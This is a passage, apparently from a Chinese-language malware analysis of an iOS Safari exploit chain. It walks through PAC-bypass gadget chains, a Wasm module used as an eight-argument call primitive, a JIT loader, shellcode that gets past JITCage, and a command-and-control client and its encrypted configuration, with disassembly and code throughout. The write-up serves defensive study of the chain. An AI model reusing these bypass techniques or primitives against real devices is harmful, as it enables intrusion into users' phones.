430840f9  ldr x3, [x2, 0x10] - dict.ab
830000b4  cbz x3, 0x18
400440f9  ldr x0, [x2, 8] - dict.sb
421840f9  ldr x2, [x2, 0x30] - dict.x2
7f081fd6  braaz x3
c0035fd6  ret</code></pre><p>对于后者，他们调用以下调用链：</p><pre><code class="language-text" data-language="text">_autohinter_iterator_end:
c10000b4  cbz x1, 0x18
221040f9  ldr x2, [x1, 0x20] - _HTTPConnectionFinalize_paciza
820000b4  cbz x2, 0x18
200440f9  ldr x0, [x1, 8] - buf2_544
211840f9  ldr x1, [x1, 0x30] - 0
5f081fd6  braaz x2
c0035fd6  ret

_HTTPConnectionFinalize: // 其中有一些 CFRelease 调用等被跳过了，因为指针为空（为可读性省略）
PACIBSP
STP             X20, X19, [SP,#-0x10+var_10]!
STP             X29, X30, [SP,#0x10+var_s0]
ADD             X29, SP, #0x10
MOV             X19, X0
LDR             X8, [X0,#0x40]
CBZ             X8, loc_192E60A8C
LDR             X1, [X19,#0x28]
MOV             X0, X19
BLRAAZ          X8

LDR             X0, [X19,#0x138] ; cf
CBNZ            X0, loc_192E60AD0
LDR             X8, [X19,#0x158]
CBZ             X8, loc_192E60AF4
LDR             X0, [X19,#0x148]
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+84↑j
LDR             X8, [X19,#0x178] - _EdgeInfoCFArrayReleaseCallBack_paciza
LDR             W0, [X19,#0x88] ; int
CBZ             X8, loc_192E60B20
LDP             X1, X2, [X19,#0x180] - early_malloc_buffer/x2
LDR             X3, [X19,#0x190] - x3 (ib)
BLRAAZ          X8

                        ; CODE XREF: __HTTPConnectionFinalize+C4↓j
                        ; __HTTPConnectionFinalize+D0↓j ...
MOV             W8, #0xFFFFFFFF
STR             W8, [X19,#0x88]

                        ; CODE XREF: __HTTPConnectionFinalize:loc_192E60B20↓j
LDP             X29, X30, [SP,#0x10+var_s0]
LDP             X20, X19, [SP+0x10+var_10],#0x20
RETAB

_EdgeInfoCFArrayReleaseCallBack:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30301aa  mov x19, x1
f40300aa  mov x20, x0
290440f9  ldr x9, [x1, 8] - buf4_80
280940f9  ldr x8, [x9, 0x10] - enet_allocate_packet_payload_default_paciza
880000b4  cbz x8, 0x30
200140f9  ldr x0, [x9] - buf3_80
610240f9  ldr x1, [x19] - sb
1f093fd6  blraaz x8
e00314aa  mov x0, x20
e10313aa  mov x1, x19
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff2303d5  autibsp
d0071eca  eor x16, x30, x30, lsl 1
5000f0b6  tbz x16, 0x3e, 0x50
208e38d4  brk 0xc471
08590514  b 0x156470

enet_allocate_packet_payload_default:
7f2303d5  pacibsp
f44fbea9  stp x20, x19, [sp, -0x20]!
fd7b01a9  stp x29, x30, [sp, 0x10]
fd430091  add x29, sp, 0x10
f30300aa  mov x19, x0
48100fb0  adrp x8, 0x1e209000
086d41f9  ldr x8, [x8, 0x2d8] - dict.ab
e00301aa  mov x0, x1
1f093fd6  blraaz x8
f40300aa  mov x20, x0
800000b5  cbnz x0, 0x38
48100fb0  adrp x8, 0x1e209000
087541f9  ldr x8, [x8, 0x2e8]
1f093fd6  blraaz x8 - xmlSAX2GetPublicId_ref
740a00f9  str x20, [x19, 0x10] - 存储到 buf3_80 + 0x10
fd7b41a9  ldp x29, x30, [sp, 0x10]
f44fc2a8  ldp x20, x19, [sp], 0x20
ff0f5fd6  retab

xmlSAX2GetPublicId_ref:
mov x0, 0
ret</code></pre><p>奇怪的是，这套调用链过于复杂；我不理解他们为何不能精简 gadget 数量。所有 PACIZA 指针都来自 dyld 共享缓存中以签名形式存储的区域，可以从中读取。过度使用这些 gadget 会在被捕获时消耗更多这些指针，所以我本以为会有强烈的动机来减少使用的 gadget 数量。</p><p>有了这两个原语，他们准备好执行 PAC 绕过，并且也获得了调用 malloc 的能力（通过使用指向 <code>_xmlMalloc</code> 的 PACIZA 指针）。</p><p>对于 PAC 绕过，他们使用调用原语创建一个 <code>[NSUUID UUID]</code> 对象，然后在其上调用 <code>cksqlcs_blobBindingValue:destructor:error:</code>。他们对 <code>error:</code> 没有任何控制权，但这似乎不重要。</p><p>这将进入 <code>[CKSQLiteCompiledStatementBindingValues cksqlcs_blobBindingValue:destructor:error:]</code>（在 CloudKit 中实现），如下所示：</p><pre><code class="language-text" data-language="text">PACIBSP
STP             X24, X23, [SP,#-0x10+var_30]!
STP             X22, X21, [SP,#0x30+var_20]
STP             X20, X19, [SP,#0x30+var_10]
STP             X29, X30, [SP,#0x30+var_s0]
ADD             X29, SP, #0x30
MOV             X19, X3
MOV             X20, X2
MOV             X21, X0
MOV             W23, #0x10
MOV             W0, #0x10
MOV             W1, #0x69EEEF37
BL              _malloc_type_malloc_8
MOV             X22, X0
MOV             X0, X21
MOV             X2, X22
BL              _objc_msgSend$getUUIDBytes_
STR             X23, [X20]
ADRP            X16, #_free_ptr@PAGE
LDR             X16, [X16,#_free_ptr@PAGEOFF]
PACIZA          X16
STR             X16, [X19]
MOV             X0, X22
LDP             X29, X30, [SP,#0x30+var_s0]
LDP             X20, X19, [SP,#0x30+var_10]
LDP             X22, X21, [SP,#0x30+var_20]
LDP             X24, X23, [SP+0x30+var_30],#0x40
RETAB</code></pre><p>如你所见，他们 malloc 一个 0x10 字节的对象，将 UUID 的字节存储在其中，然后从 GOT 加载指向 <code>_free_ptr</code> 的指针，对其进行 PACIZA 签名，然后将其存储在作为参数传入的析构函数指针中。这本身并非安全漏洞，而是一个安全弱点——<code>_free_ptr</code> 在源代码中可能被定义为 <code>void*</code>，因此编译器无法对其进行 PAC 签名，因为它不是函数指针；但当它被赋值给析构函数时，它被转换为函数指针，编译器必须在那里对其进行签名。</p><h4 id="3312-fu-xian-ruo-dai-ma-mo-shi">3.3.1.2. 复现弱代码模式</h4><p>（点击展开）
该模式可以用以下代码复现：</p><pre><code class="language-text" data-language="text">typedef size_t (*fn_t)(const char *s);
fn_t f(void)
{
    return strlen;
}</code></pre><p>这将为 f 生成以下汇编：</p><pre><code class="language-text" data-language="text">adrp x16, reloc.strlen
ldr x16, [x16]
paciza x16
mov x0, x16
ret</code></pre><p>这本身并非安全漏洞，因为指针位于 GOT 内部，而 GOT 属于 __DATA_CONST 段，因此是只读的。但问题在于还有一个链接器弱点，在某些情况下会阻止链接器将 __DATA_CONST 段保护为只读。具体来说，dyld 在 <code>segmentSupportsDataConst</code> 和 <code>assignDataSegmentAddresses</code> 中有代码，如果二进制文件具有以下条件，则不会将 __DATA_CONST 保护为只读：</p><ul><li>Swift 代码和 __objc_const 段，因为 Swift 在 __objc_const 内部有一些可变数据需要在执行期间修改</li><li>基于指针的 objc 方法列表，因为它们会将函数指针存储在 const 段内，然后调用 setIMP 来更改它们会导致崩溃</li><li>解析器函数</li><li>libcrypto.0.9.8.dylib，由于某种原因会写入 __DATA_CONST</li></ul><p>我认为其中最紧迫的是 Swift，这也是为什么我推测 Apple 直到 iOS 18 beta 1 才解决这个问题的原因。从那时起，链接器将始终将 __DATA_CONST 保护为只读，并且引入了 __LATE_CONST 和 __TPRO_CONST 来处理边缘情况。</p><p>我假设 seedbell 和 seedbell_16.6 非常相似，它们被关闭要么是因为它们所在的动态库不再属于上述四个类别之一，要么是因为签名指针的流程不再可达。</p><p>有了这个，他们然后可以签名 <code>_xmlHashScanFull</code>，这给了他们一个完整的 x0-x5 调用原语，但 x0 不能为非空。</p><p>这个签名功能然后被导出回主模块。</p><p>最后，他们还实现了一个支持最多 8 个参数调用的类。</p><p>为此他们使用一个定义了 3 个函数的 wasm 模块。它们在函数 f 中接收 16 个 32 位参数，然后将它们打包成 8 个 64 位值，最后调用 o，但使用读写，漏洞利用将 o 的 JIT 跳板函数指针替换为目标函数的指针，给了他们一个不错的 8 参数调用原语。为了正确签名目标函数指针，他们 PACIZA 签名 <code>_jitCagePtr</code> 然后用它来签名目标函数。之后 wasm 将 64 位返回值作为两个 i32 存储到内存中，JavaScript 可以从那里检索它。不支持超过 8 个参数的原因是，之后根据 Apple 的调用约定，剩余的参数会被推入栈中，我假设 wasm 调用约定是不同的。</p><h4 id="3313-yong-yu-8-can-shu-diao-yong-yuan-yu-de-wasm-mo-kuai">3.3.1.3. 用于 8 参数调用原语的 Wasm 模块</h4><p>（点击展开）</p><pre><code class="language-text" data-language="text">(module
  (type (;0;) (func (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)))
  (type (;1;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)))
  (type (;2;) (func (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)))
  (func (;0;) (type 0) (param i64 i64 i64 i64 i64 i64 i64 i64) (result i64)
    i64.const 0)
  (func (;1;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 1
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 0
    i64.extend_i32_u
    i64.or
    local.get 3
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 2
    i64.extend_i32_u
    i64.or
    local.get 5
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 4
    i64.extend_i32_u
    i64.or
    local.get 7
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 6
    i64.extend_i32_u
    i64.or
    local.get 9
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 8
    i64.extend_i32_u
    i64.or
    local.get 11
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 10
    i64.extend_i32_u
    i64.or
    local.get 13
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 12
    i64.extend_i32_u
    i64.or
    local.get 15
    i64.extend_i32_u
    i64.const 32
    i64.shl
    local.get 14
    i64.extend_i32_u
    i64.or
    i32.const 0
    call_indirect (type 0)
    return)
  (func (;2;) (type 1) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32) (result i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 1
    return)
  (func (;3;) (type 2) (param i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    (local i64)
    local.get 0
    local.get 1
    local.get 2
    local.get 3
    local.get 4
    local.get 5
    local.get 6
    local.get 7
    local.get 8
    local.get 9
    local.get 10
    local.get 11
    local.get 12
    local.get 13
    local.get 14
    local.get 15
    call 2
    local.set 16
    i32.const 0
    local.get 16
    i32.wrap_i64
    i32.store
    i32.const 4
    local.get 16
    i64.const 32
    i64.shr_u
    i32.wrap_i64
    i32.store
    return)
  (table (;0;) 2 funcref)
  (memory (;0;) 1 1)
  (export &#34;t&#34; (table 0))
  (export &#34;m&#34; (memory 0))
  (export &#34;o&#34; (func 0))
  (export &#34;f&#34; (func 3))
  (elem (;0;) (i32.const 0) func 0))</code></pre><p>这个类的名称在一个错误消息中泄露了（<code>new Error((&#34;WasmJitCageCallPrimitive only supports 8 register args, got &#34;) + (args.length))</code>）。我怀疑原因是字符串是在错误消息中组装的而不是原始字符串，这意味着当他们剥离所有字符串时它没有被替换。</p><h4 id="332-hui-dao-zhu-mo-kuai">3.3.2. 回到主模块</h4><p>签名器和调用器被导出至主模块后，他们随即调用一个函数来验证签名。这基本上验证了签名一个 PAC 剥离的 wasm 函数指针是否返回与原始指针相同的结果。</p><h3 id="34-js-macho-jia-zai-mo-kuai">3.4. JS MachO 加载模块</h3><p>一旦漏洞利用获得 PAC 签名与函数调用原语，主模块便会加载一个负责获取 LPE 阶段的 MachO JIT 加载模块。有两个不同的潜在加载器，但对于此捕获选择了 <code>c03c6f666a04dd77cfe56cda4da77a131cbb8f1c</code>，它将加载并跳转到 PE 阶段。它将加载一个辅助模块（<code>b5135768e043d1b362977b8ba9bff678b9946bcb</code>），该模块又加载另一个模块（<code>ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8</code>）。这两个都是通过 base64 在父载荷内部加载的。后者是又一个 dyld 共享缓存和 MachO 解析器，而前者负责将 MachO 二进制文件加载到 JIT 区域并使其可运行。外层充当编排器。我们将在本节中逐一查看它们。</p><h4 id="341-macho-jie-xi-qi-di-2-ge">3.4.1. MachO 解析器（第2个）</h4><p>与 seedbell 通用辅助模块类似，该模块包含一个用于 dyld 共享缓存的类和一个 MachO 类，前者使用后者将缓存中的所有动态库加载到其中，以及用于处理 MachO 及其符号的辅助类。</p><p>奇怪的是，虽然与 seedbell 的辅助模块有相似之处，但它看起来像是一个完整的重新实现（或者更确切地说 seedbell 的辅助模块是重新实现，因为它是后来发布的），使用了自己的数字辅助类，以及使用函数来解析 MachO 而不是将其嵌入到 MachO 类中。我真的不理解这个设计决策背后的原因，因此我假设这是因为代码库已经发展，最终 PAC 绕过需要自己的 dyld 共享缓存解析器。</p><h4 id="342-jit-jia-zai-qi-mo-kuai">3.4.2. JIT 加载器模块</h4><p>第一步，编排器将调用此模块中的一个函数，该函数重新创建了前文所述的 WasmJitCageCallPrimitive，从而提供一个 8 参数调用原语。代码看起来是复制粘贴的，甚至 wasm 代码也 1:1 匹配，但在这种情况下错误消息被正确剥离了。我再次不知道为什么这被导出了两次，但假设过去漏洞利用链在这个早期阶段不需要 8 参数调用原语，所以他们只在 PE 加载器中导出它，后来也因为 PAC 绕过需要它而添加了它。</p><p>之后编排器将创建 JIT 加载器类。在构造期间，此类将根据 JSC 中可用的代码选择可行的加载策略。它将检查：</p><ul><li><code>WTF::MetaAllocator::allocate(unsigned long, void*)</code> 或替代的 <code>WTF::MetaAllocator::allocate(WTF::Locker&lt;WTF::Lock&gt; const&amp;, unsigned long)</code> 是否可用</li><li>然后查找 <code>JSC::LinkBuffer::linkCode(JSC::MacroAssembler&amp;, void*, JSC::JITCompilationEffort)</code> 或 <code>JSC::LinkBuffer::linkCode(JSC::MacroAssembler&amp;, JSC::JITCompilationEffort)</code></li><li>最后查找 <code>JSC::ExecutableMemoryHandle::createImpl(unsigned long)</code></li></ul><p>如果找不到 <code>JSC::ExecutableMemoryHandle::createImpl(unsigned long)</code>，它将生成随机 JS 代码（基本上是一些不可折叠的数学运算）并对其进行 JIT 编译，然后读取指针链以获取函数在 JIT 区域中的指针。基于可用的函数，他们然后准备汇编来处理加载代码。这要么使用 <code>pacda</code> 或 <code>pacdb</code> 指令完成，要么使用 <code>xor</code> 和 <code>pacdzb</code>/<code>pacdb</code> 的混合完成。他们还有相同的代码作为 JS 实现，因为最初他们需要通过 JS 加载此 shellcode，然后使用它来”哈希”更大的代码段以加速。</p><p>随后创建 C2C JS 客户端。其基本机制是：稍后从 MachO 内部启动一个新线程，然后返回到 JS 代码执行。这样他们就可以通过后端缓冲区维护与 JS 的通信通道，允许他们通过 JS 进行网络操作（例如获取新的载荷或将数据发送回服务器）。C2C 客户端有八个状态：</p><ul><li><strong>初始 (0)</strong>：C2C 在其运行循环中空闲等待命令</li><li><strong>下载请求 (1)</strong>：原生代码请求下载并将状态更改为此处</li><li><strong>下载中/发送中 (2)</strong>：C2C 接管请求并正在下载数据（或在状态 7 时发送）</li><li><strong>已下载 (3)</strong>：C2C 下载了数据并将其复制到缓冲区</li><li><strong>错误 (4)</strong>：C2C 遇到错误——在这种情况下它还会向服务器发送带有错误参数的 GET 请求</li><li><strong>退出中 (5)</strong>：这再次由原生代码设置并将退出运行循环</li><li><strong>更新 DOM (6)</strong>：C2C 将插入一个随机 div 并更新 url，然后 10 秒后再次删除它。我假设这是为了保持页面”活跃”</li><li><strong>发送数据 (7)</strong>：向服务器发送数据</li></ul><p>框架再次验证自身不在 macOS 上运行，推测原因是该 LPE 漏洞利用仅支持 iOS。</p><p>随后他们实例化一个负责加载 MachO 阶段的新类。这将最初使用默认值链接 shellcode 并解压缩一个 base64 编码的 MachO。它还会将资源 url、ChaCha20 密钥、日志 url（此部署中为空）和用户代理写入不同的缓冲区，以便 MachO 可以访问它们。用默认值填充所有内容允许他们准确计算代码洞所需的大小。基于可用的方法，JIT 加载模块将要么通过 <code>ExecutableMemoryHandle::createImpl</code> 或 <code>MetaAllocator::allocate</code> 创建代码洞，或者如果两者都不可用，则使用 <code>LinkBuffer::linkCode</code> 和代码哈希例程来创建代码洞。然后它将调用 MachO 加载类将代码链接到创建的地址。这将连接解压缩的 MachO、加载它的 shellcode、ChaCha20 密钥、资源 url、文档 url、导航器用户代理和日志 url（此部署中为空）。shellcode 本身也在开头包含一个引用所有这些缓冲区的结构：</p><pre><code class="language-text" data-language="text">struct config
{
  uint64_t load_2_addr;
  uint64_t macho_load_addr;
  uint64_t is_zero;
  uint64_t code_addr;
  uint64_t macho_23_len;
  uint64_t resource_url_addr;
  uint64_t ChaCha20_key_addr;
  uint64_t document_url_addr;
  uint64_t data_to_load_addr;
  uint64_t useragent_addr;
  uint64_t logging_url_addr;
  uint64_t signed_pacia1716_gadget;
  uint64_t signed_pacib1716_gadget;
  uint64_t signed_pacda_gadget;
  uint64_t signed_pacdb_gadget;
  uint64_t signed_braa_x10_gadget;
  uint64_t mov_x2_x11_braa_x14_gadget_paciza;
  uint64_t jit_op_mov_x13_4911_brab_x2_x13;
  uint64_t braa_x14_pac_ctx;
  uint64_t dlsym_addr;
  uint64_t unk;
  uint64_t in_private_browsing_mode;
  uint64_t should_do_logging;
};</code></pre><p>因此，shellcode 还可以访问多个签名和分支 gadget。</p><p>最后，它使用 JIT 加载模块通过调用 <code>LinkBuffer::linkCode</code> 加载此代码，用 shellcode 例程对其进行哈希，然后从 MachO 加载类获取入口点，启动 C2C 例程，并跳转到它。</p><h4 id="343-jia-zai-qi-shellcode">3.4.3. 加载器 shellcode</h4><p>shellcode 的目的是将 MachO 加载到内存中，然后可选地跳转到它。它相当大，因为它必须包含完整的 MachO 解析器和加载器，以及击败 JITCage 的代码模式。这也是本节的重点，若你对 JITCage 绕过不感兴趣，可直接跳至下一节。</p><p>关于 JITCage 的公开文档十分有限；我只找到了 <a href="https://www.synacktiv.com/sites/default/files/2022-10/attacking_safari_in_2022_slides.pdf">Synacktiv 的这份演示文稿</a> 以及 <a href="https://youtu.be/8mQAYeozl5I?si=XrxvWwQx5slJYQM2&amp;t=634">Luca 的一场演讲</a>。JITCage 是作为 A15 上的硬件功能引入的。一般来说，Apple 的高层想法似乎是他们想要控制攻击者可以在 JIT 代码中执行什么。常规 JIT 代码不需要执行任何系统调用，例如，所以它们会在 JIT 区域内的 SVC 指令上触发故障。类似地，它们也不允许通过 MRS 和 MSR 指令访问系统寄存器。最后，它们还想防止攻击者从 JIT 代码获得任意控制流，所以它们禁止任何 PAC 签名指令和任何未经 PAC 认证的跳转到 JIT 区域外的控制流指令。因为 JIT 区域内 IA 和 IB 签名的 PAC 密钥不同，JSC 可以锁定自己不再生成可能的”退出”路径从 JIT 区域，它确实这样做了。在启动期间，它将为 JIT 代码必须调用的所有函数生成签名，然后设置一个位来锁定自己不再签名新的函数。因此，攻击者无法生成新的 gadget 供其 JIT 代码调用。</p><p>在我看来，这段 shellcode 似乎由自定义编译器编译而成，以兼容当前运行环境，同时保持对不支持 PAC 的旧 CPU 以及没有 JITCage 的 CPU 的兼容性。为了保持与旧 CPU 的兼容性，shellcode 利用了 XPACLRI 指令在旧 CPU 上编码到 NOP 空间的事实，因此它可以用作区分器来检测 CPU 是否支持 arm8.3 PAC 扩展：</p><pre><code class="language-text" data-language="text">MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X0, #0xAAAAAAAAAAAAAAAA
CMP             X0, X30
CSET            X0, NE</code></pre><p>如果 CPU 支持 PAC，XPACLRI 将清除 X30 中的 PAC 位，但在没有 PAC 的设备上它作为 NOP 执行，因此 X30 仍然是 <code>0xAAAAAAAAAAAAAAAA</code>。为了避免执行 RET 指令，使用以下代码：</p><pre><code class="language-text" data-language="text">MOV             X10, X30
MOV             X30, #0xAAAAAAAAAAAAAAAA
XPACLRI
MOV             X11, #0xAAAAAAAAAAAAAAAA
CMP             X11, X30
MOV             X30, X10
B.NE            +0x8
RET
MOV             X10, X30
BLR             X10</code></pre><p>因此在非 PAC 设备上，代码将执行 RET；而在 PAC 设备上，它将执行 BLR 以返回调用者。除此之外，他们还有一个用于外部调用的辅助分发函数。这将在 x10 中获取要调用的函数指针，然后检查 JITCage 是否启用（<code>jit_op_mov_x13_4911_brab_x2_x13</code> 在配置中已填充），如果没有则剥离 PAC 位并直接跳转：</p><pre><code class="language-text" data-language="text">MOV             X11, X30
MOV             X30, X10
XPACLRI
MOV             X10, X30
MOV             X30, X11
BR              X10</code></pre><p>否则必须通过间接跳转。请记住，攻击者无法生成新的 JIT 退出点，因为用于签名有效函数指针的密钥已被锁定，因此他们只能利用现有的退出点来获取调用原语。为此他们使用 JIT 操作函数 <code>vmEntryHostFunction</code>，这是一个非常简单的函数：</p><pre><code class="language-text" data-language="text">global _vmEntryHostFunction
_vmEntryHostFunction:
    jmp a2, HostFunctionPtrTag</code></pre><p>翻译为以下汇编：</p><pre><code class="language-text" data-language="text">_vmEntryHostFunction
MOV             X13, #0x4911
BRAB            X2, X13</code></pre><p>所以这是一个他们可以从 JIT 代码跳转到的函数，通过将 X2 设置为使用 HostFunctionPtrTag/0x4911 作为上下文签名的有效函数指针，他们可以进一步跳转到那个函数。所以分发中的流程如下：将所有参数推入栈以保留它们，跳转到 <code>vmEntryHostFunction</code>，设置然后跳转到一个 pacia 签名 gadget，该 gadget 将签名真正的目标函数指针。指向 pacia gadget 的函数指针在配置中正确签名为 <code>signed_pacia1716_gadget</code>。调用后恢复参数，然后通过 <code>vmEntryHostFunction</code> 调用真正的函数指针。</p><p>从高层来看，shellcode 将执行以下步骤：</p><ul><li>通过用不同的可能端口调用 <code>task_info</code> 来暴力破解 <code>mach_task_self</code>，直到调用成功</li><li>设置一个大的上下文结构，包含各种辅助函数的函数指针，如链接器函数（dlsym、dlopen 等）和其他系统函数（如 <code>sys_dcache_flush</code>）</li><li>使用 COM 页检测 CPU 特性</li><li>加载 MachO 并将其注册到 objc 运行时</li><li>刷新数据和指令缓存</li><li>从 MachO 获取符号 <code>_process</code></li><li>为执行做准备</li><li>跳转到它</li></ul><h4 id="3431-bu-ding-cha-zhao-objc-fu-hao">3.4.3.1. 补丁查找 objc 符号</h4><p>（点击展开）
shellcode 使用两种有趣的策略来查找 <code>map_images</code> 的地址，它不是一个导出函数。对于第一种策略，他们将使用一个导出函数作为锚（在本例中是 <code>_objc_flush_caches</code>），然后使用 dladdr 调用直到 <code>dli_saddr</code> 改变来检测函数边界，从那里遍历 n 个函数直到找到正确的函数。对于第二种策略，他们基本上知道在 objc 数据段中 <code>_objc_patch_root_of_class</code> 紧挨着 <code>map_images</code>，所以他们将 dlsym 它，然后遍历整个数据段直到找到指向它的指针，从中可以相对读取出 <code>map_images</code> 的地址。</p><h4 id="344-qian-ru-de-macho">3.4.4. 嵌入的 MachO</h4><p>嵌入的 MachO 将设置与 C2C JS 客户端通信的互操作函数，并实现解析 C2C 服务器配置文件、对其采取行动的函数，检测 CPU 特性和 iOS 版本（这也会检测”不安全”环境如 Corellium），以及检测宽松沙箱和在 iTunes Store（而不是 Safari）内的代码执行。主函数然后将对 Corellium、有效 CPU 和 <code>hw.l2cachesize</code>、没有 <code>kern.bootargs</code> 和没有 <code>HOST_CAN_HAS_DEBUGGER</code> 配置进行另一次环境检查。然后生成一个新线程，该线程将自己注册为 UIBackgroundTask，以便它可以与 JS 并行运行，允许轻松的网络通信。后台任务将可选地向 C2C 服务器发送日志。</p><p>线程启动后，会从服务器下载一份配置文件。对于此捕获，那是 <code>7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.js</code>。文件使用 ChaCha20 加密并使用 LZMA 压缩。只有当头部为 <code>0xBEDF00D</code> 时才进行解压缩。之后解析配置。我也写了自己的解析器，所以我们可以看看里面：</p><pre><code class="language-text" data-language="text">python3 parse_config.py ../processed_files/28_7a7d99099b035b2c6512b6ebeeea6df1ede70fbb_decompressed
elem: 0x70000 0x3 @ +0x18 (0x878)
0xf2300000 6c682a65deb7cf020dd640d130a2a73e9442ccddc441520c951620a4142605ad b&#39;4800048658463f971e752ff93c1767e9ae7f3431.min.js&#39;
0xf3300000 230ddaa380a7899e52be22cc926a4b7609303e14c3ed55d59049d3b20ee12974 b&#39;b442ab113b829ff8c7bf34afa4d2d997889f308f.min.js&#39;
0xf2400000 176f3b0d80c6c94f5bcc3e638185d1a4a057a859141b569f877468cc7bd7c149 b&#39;5258f6e3eef3eda249179aa1122b50b03cbeea18.min.js&#39;
0xf3400000 e6542d26109c5c3aa4f33c9ee07d69dc58ef66e81a7c20c2447cff7fe9f45a0c b&#39;a78a94196b5d2c95865f6a8423a6b8eb86d07c6c.min.js&#39;
0xf2700000 50a323f335f2bf4634b8f13526dc46f73d6ae15d4960d1f72e601aa4e733a7ec b&#39;38af3c8ba461079a0edc83585023f76843066dcf.min.js&#39;
0xf3700000 cab13d34917b6f5bdcfc69d7c668021b735a4d82b05b0918b9e228dc1860988e b&#39;1334417664270db20af705f422878c53c8378203.min.js&#39;
0xf2800000 6662406a17f3a38fdbbf9938d3c4c07b649ad22cf6d6f4c00bc9db96910b3817 b&#39;226cbd845c5f470075505392be8693ec6d4f5ba3.min.js&#39;
0xf3800000 fdd8b3940d2a06b0229d814e874095fd1fa87cb53db4699ba9dd8dd7370cf8cc b&#39;ae7efd66ecde9e964cfe92f64e9b6461fce38f28.min.js&#39;
0xf2900000 8360789e772f55126e9114dc7965d3162d6b7a781ddfa69be0971c66f04e6045 b&#39;7a1cef00016b950be42f5288ead21fa6fccc3107.min.js&#39;
0xf3900000 388976a2cdce966476ddc0f79249081ec182efc26808beb2e2e456f8c4809535 b&#39;377bed7460f7538f96bbad7bdc2b8294bdc54599.min.js&#39;
0xf3730000 3cb781d9c1ade5c3b54606839baa51f5c5751f73f0cd055fc101e41d467403d7 b&#39;c8a14d79a27953242d60243ee2f505a85d9232cc.min.js&#39;
0xf3830000 bdff99612a2aa99aef5cd7845d7f0b06a77c36d4f674fab7939799a39b8f78b1 b&#39;1b2cbbde08f8b2330b7400abcb97c9573973e942.min.js&#39;
0xf2750000 58199343c3811b01adda525bc08fcf135c6369fb3bdc3d52ca2374491e789f48 b&#39;e9f898587620186e31119fbf32660f26c1e048e0.min.js&#39;
0xf3750000 a6244c09c0588cf126ad727f75a647132543239c8b8fff5d362d56b616752327 b&#39;f4120dc6717a489435d86943472c5a2444aac8e6.min.js&#39;
0xa2050000 7da5f7d73e652aa782c89a883c27d0898affddf5d13b5914423a66a15ad3b319 b&#39;f8a86cf368fdbbe294813926a2a229df041eb758.min.js&#39;
0xa3050000 c02c657bb22d6cfc6aed70143f1fc8fbd44f33dbe6e12979d10c7891dcfc25c7 b&#39;72a5ac816709f9c331f2b3afb76cd3d96517ea14.min.js&#39;
0xa3060000 338bf220589af21d44e4dda167fab47c99040da951c40406ff99b5c4cc48735e b&#39;980c77f1747afa9ac1fa5f8fbfb9e6663e9f82bb.min.js&#39;
0xa3030000 be7efb67c5b39656f00f03b5a06593bf41bd760e5280a887f0a701226f39c3c8 b&#39;5e89f83ec50c6223d664d3f3260ef874a3d6d796.min.js&#39;
0xa3040000 a19b901b47f9dd7b86ca75fa1d25bd4404e9cdd2e2bf56722149fc213434f00e b&#39;2a1d692b7b5ba793527b2c14b48db21a3e5d2c5f.min.js&#39;</code></pre><p>基本上这个配置文件包含一个类型为 <code>0x70000</code> 的元素，这也是预期的，然后在里面有一个 <code>&lt;类型&gt;</code>、<code>&lt;ChaCha20 密钥&gt;</code>、<code>&lt;url&gt;</code> 元组的列表。选择代码支持高位为 <code>0xA2000000</code>（arm64）和 <code>0xA3000000</code>（arm64e），以及基于 CPU 特性/Core 代的低位为 <code>0x30000</code>、<code>0x40000</code>、<code>0x50000</code> 或 <code>0x60000</code>（用于宽松沙箱情况），以及版本/型号的 <code>0xF1000000</code>（非 ARM）、<code>0xF2000000</code>（arm64）、<code>0xF3000000</code>（arm64e）和 <code>0x900000</code>、<code>0x800000</code>、<code>0x700000</code>、<code>0x400000</code> 或 <code>0x300000</code>。对于我们的捕获，选择了 <code>0xF3900000</code>。由于一个逻辑错误，“.min” 实际上被剥离了，文件以常规 .js 形式下载。所以在我们的情况下它下载 <code>377bed7460f7538f96bbad7bdc2b8294bdc54599.js</code>。解密和解压缩后我们得到以下文件：</p><pre><code class="language-text" data-language="text">elem: 0x80000 0x3 @ +0x78 (0x37e40)
elem: 0x90000 0x3 @ +0x37eb8 (0x516d0)
elem: 0xf0000 0x3 @ +0x89588 (0x2eb40)
elem: 0x70005 0x3 @ +0xb80c8 (0x2c)
elem: 0x50000 0x3 @ +0xb80f4 (0x610c)
elem: 0x90001 0x3 @ +0xbe200 (0x50a40)
elem: 0x70000 0x3 @ +0x10ec40 (0x1d4)
0x2900000 85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb b&#39;4612aa650e60e2974a9ec37bbf922c79635b493a.min.js&#39;
